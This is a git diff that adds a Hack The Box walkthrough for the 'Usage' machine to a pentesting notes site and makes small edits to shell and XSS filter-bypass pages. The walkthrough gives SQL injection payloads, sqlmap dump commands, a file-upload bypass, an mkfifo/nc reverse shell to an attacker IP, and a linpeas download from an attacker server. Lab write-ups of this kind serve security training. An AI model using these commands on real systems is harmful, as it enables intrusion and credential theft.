diff --git a/docs/htb-usage.md b/docs/htb-usage.md new file mode 100644 index 0000000000..678c0b227c --- /dev/null +++ b/docs/htb-usage.md @@ -0,0 +1,189 @@ +--- +title: Walkthrough - Usage - A HackTheBox machine +author: amandaguglieri +draft: false +TableOfContents: true +tags: + - walkthrough +--- + + +# Walkthrough - Usage, a Hack The Box machine + +## About the machine + +![Omni Machine Banner](img/omni.png) + + + +| data | | +| ---------- | ------------------------------------------------ | +| Machine | Omni | +| Platform | Hackthebox | +| url | [link](https://app.hackthebox.com/machines/Omni) | +| OS | Linux | +| Difficulty | Easy | +| Points | 20 | +| ip | 10.10.11.18 | + + + +## Getting user.txt flag + +### Enumeration + +```bash +sudo nmap -sV -sC $ip -p- +``` + +Results: + Port 22 and 80. + + +### Browsing the app + +After entering in http://10.10.11.18, a dns error is displayed. The page is redirected to http://usage.htb. + +I will add that line in my host resolver config file. + +```bash +# testing for an existing file +echo "10.10.11.18 http://usage.htb" >> /etc/hosts +``` + +The application is simple. A Login pannel with a "Remember your password" link. An other links to an admin login pannel and a logout feature. Enumeration techniques also gives us some ideas about Laravel framework being in use. + +After testing the login form and the remember your password form, I can detect a SQL injection vulnerability in the remember your password form. + +Previously I registered a user lala@lala.com. + +![Step](img/htb-usage6.png) + +Payloads for manual detection: + +``` +lala@lala.com' AND 1=1;-- - +``` + +![Step](img/htb-usage6.png) + + +``` +lala@lala.com' AND 1=1;-- - +``` + +![Step](img/htb-usage7.png) + +Now, we know that we have a SQL injection, Blind with the AND Boolean technique, so we can use sqlmap with --technique flag set to BUT. We can also save time using the flag `--dbms` to indicate that is a mysql database: + + +``` +sqlmap -r request.txt -p 'email' --dbms=mysql --level=3 --risk=3 --technique=BUT -v 7 --batch --dbs --dump --threads 3 + +sqlmap -r request.txt -p 'email' --dbms=mysql --level=3 --risk=3 --technique=BUT -v 7 --batch -D usage_blog --tables --dump --threads 3 + +sqlmap -r request.txt -p 'email' --dbms=mysql --level=3 --risk=3 --technique=BUT -v 7 --batch -D usage_blog -T admin_users --dump --threads 3 +``` + + +#### Upload a reverse shell + +The admin profile can be edited. The upload feature for the avatar image is vulnerable. + +First, I tried to upload a php file, but files extensions are sanitized client side. + +![Step](img/htb-usage1.png) + + +Then, I uploaded a php reverse shell file using jpg extension. The file was uploaded but it was not executable. +![Step 2](img/htb-usage2.png) + + +Finally I used Burpsuite and intercepted the upload of my ivan.jpg file. During the interception I modified the extension to php. + +![Step](img/htb-usage3.png) + + +Finally the reverse shell worked. But for a limited period of time (see steps 1 and 2). Time enough to set up a hook and establish a new connection (see steps 2 and 3) with a [bash reverse shell](reverse-shells.md) + +``` +rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.49 4444 >/tmp/f +``` + + + +![Step](img/htb-usage4.png) + + +#### Getting user.txt + +First, I spawned a shell: + +``` +SHELL=/bin/bash script -q /dev/null +``` + +and printed out the flag: + +``` +cat /home/dash/user.txt +``` + + +## Getting root.txt + +First, I perform a lateral movement to the other user present in the machine. For that I cat the /etc/passwd file and I run linpeas.sh script in the machine. + +### Lateral movement + +Enumerate other users with access to a bash terminal: + +``` +cat /etc/passwd | grep -E ^*/bin/bash$ +``` + +Results: + +``` +root:x:0:0:root:/root:/bin/bash +dash:x:1000:1000:dash:/home/dash:/bin/bash +xander:x:1001:1001::/home/xander:/bin/bash +``` + + +Upload the script [linpeas](linpeas.sh) to the victims machine. + +``` +################ +# In the attacker machine +############### +# Download the script from the release page +curl https://github.com/peass-ng/PEASS-ng/releases/download/20240414-ed0a5fac/linpeas.sh + +# Copy the file to the root of your apache server +cp linpeas.sh /var/wwww/html + +# Start your server +service apache2 start +# Turn it off once you have served your file + +################ +# From the victim machine +################ +# Download the script from the release page or from the attacker server +wget http://attackerIP/linpeas.sh + +# Run the script +chmod +x linpeash.sh +./linpeas.sh +``` + + + + +Some interesting takeaways from the linpeas.sh results: + +![Step](img/htb-usage8.png) + + +![Step](img/htb-usage9.png) diff --git a/docs/img/htb-usage1.png b/docs/img/htb-usage1.png new file mode 100644 index 0000000000..2200abcdf4 Binary files /dev/null and b/docs/img/htb-usage1.png differ diff --git a/docs/img/htb-usage2.png b/docs/img/htb-usage2.png new file mode 100644 index 0000000000..145c287e74 Binary files /dev/null and b/docs/img/htb-usage2.png differ diff --git a/docs/img/htb-usage3.png b/docs/img/htb-usage3.png new file mode 100644 index 0000000000..036c20b22c Binary files /dev/null and b/docs/img/htb-usage3.png differ diff --git a/docs/img/htb-usage4.png b/docs/img/htb-usage4.png new file mode 100644 index 0000000000..521e3389ea Binary files /dev/null and b/docs/img/htb-usage4.png differ diff --git a/docs/img/htb-usage5.png b/docs/img/htb-usage5.png new file mode 100644 index 0000000000..f83f43d46d Binary files /dev/null and b/docs/img/htb-usage5.png differ diff --git a/docs/img/htb-usage6.png b/docs/img/htb-usage6.png new file mode 100644 index 0000000000..61114dc773 Binary files /dev/null and b/docs/img/htb-usage6.png differ diff --git a/docs/img/htb-usage7.png b/docs/img/htb-usage7.png new file mode 100644 index 0000000000..578ca5be69 Binary files /dev/null and b/docs/img/htb-usage7.png differ diff --git a/docs/img/htb-usage8.png b/docs/img/htb-usage8.png new file mode 100644 index 0000000000..54ff22419e Binary files /dev/null and b/docs/img/htb-usage8.png differ diff --git a/docs/img/htb-usage9.png b/docs/img/htb-usage9.png new file mode 100644 index 0000000000..b9e405eb3b Binary files /dev/null and b/docs/img/htb-usage9.png differ diff --git a/docs/img/onload.png b/docs/img/onload.png new file mode 100644 index 0000000000..4329367445 Binary files /dev/null and b/docs/img/onload.png differ diff --git a/docs/img/tool-xss.png b/docs/img/tool-xss.png new file mode 100644 index 0000000000..c08dd1f9a4 Binary files /dev/null and b/docs/img/tool-xss.png differ diff --git a/docs/spawn-a-shell.md b/docs/spawn-a-shell.md index ab8554e02a..6a013a91b9 100644 --- a/docs/spawn-a-shell.md +++ b/docs/spawn-a-shell.md @@ -148,10 +148,14 @@ $ fg ```bash # In reverse shell -$ reset -$ export SHELL=bash -$ export TERM=xterm-256color -$ stty rows columns +reset +export SHELL=bash +export TERM=xterm-256color +stty rows columns + +# In one line: +reset; export SHELL=bash; export TERM=xterm-256color; stty rows columns + ``` ### msfvenom diff --git a/docs/walkthroughs.md b/docs/walkthroughs.md index 2c56136db6..828a84c22e 100644 --- a/docs/walkthroughs.md +++ b/docs/walkthroughs.md @@ -99,6 +99,7 @@ It feels like an eternity since I embarked on my first walkthroughs of the Overt - [HTB trick](htb-trick.md) - [HTB undetected](htb-undetected.md) - [HTB unified](htb-unified.md) +- [HTB usage](htb-usage.md) - [HTB vaccine](htb-vaccine.md) diff --git a/docs/webexploitation/cross-site-scripting-xss.md b/docs/webexploitation/cross-site-scripting-xss.md index 497ccd181a..f48f714e14 100644 --- a/docs/webexploitation/cross-site-scripting-xss.md +++ b/docs/webexploitation/cross-site-scripting-xss.md @@ -223,7 +223,7 @@ Firstly, some common escaping characters that may be parsed (and you need to fur Additionally, there might exist a filter for the characters `script`. Being that the case: -**1.** Insert unexpected variations in the syntax such as random capitalization, blank spaces...: +**1.** Insert unexpected variations in the syntax such as random capitalization, blank spaces, new lines...: ``` "> @@ -256,7 +256,7 @@ Double encoding is very effective. I've run into cases in the wild. ``` -**5.** Unexpected weird attributes: +**5.** Unexpected weird attributes, null bytes: ```